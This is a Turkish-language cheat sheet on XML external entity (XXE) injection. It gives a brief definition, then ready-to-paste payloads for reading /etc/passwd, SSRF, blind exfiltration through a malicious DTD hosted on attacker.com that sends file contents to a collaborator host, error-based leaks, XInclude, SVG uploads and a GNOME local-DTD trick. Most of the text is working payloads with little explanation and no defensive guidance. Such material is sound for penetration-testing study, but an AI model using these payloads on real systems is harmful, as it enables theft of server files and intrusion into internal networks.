XXE Injection

XXE Injection Nedir?

XML external entity injection, bir saldırganın bir uygulamanın XML verilerini işlemesine müdahale etmesine imkan tanıyan bir web güvenlik açığıdır. Genellikle bir saldırganın uygulama sunucusu dosya sistemindeki dosyaları görüntülemesine ve uygulamanın kendisinin erişebildiği herhangi bir back-end veya external sistemle etkileşime girmesine izin verir.

Bazı durumlarda saldırgan, SSRF saldırıları gerçekleştirmek için XXE güvenlik açığından yararlanarak sunucuyu veya back-end sistemleri ele geçirmek için bir XXE saldırısını kullanabilir.

Saldırı Yöntemleri

Basic XXE

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

XXE SSRF

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/"> ]>

Blind XXE

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://COLLABORATOR"> ]>
&xxe;
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://COLLABORATOR"> %xxe; ]>

Blind XXE ile Veri Çekme

Request Bin: https://pipedream.com/requestbin

Ngrok: https://ngrok.com/

<!--Exploit Server-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR/?x=%file;'>">
%eval;
%exfil;

<!--Target--> 
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>

Blind XXE Error Message

<!--Exploit Server-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

<!--Target--> 
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>

XInclude XXE

Eğer xml'in tamamını kontrol edemiyorsak sadece parametrelerini kontrol edebiliyorsak denenir.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG File Upload

Eğer bir dosya yükleme fonksiyonu svg dosyası kabul ediyorsa çalışabilir.

Apache Batik kütüphanesi kullanılıyorsa çalışır.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Local DTD ile XXE

Sadece GNOME ortamlarda çalışır.

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/xxe

Last updated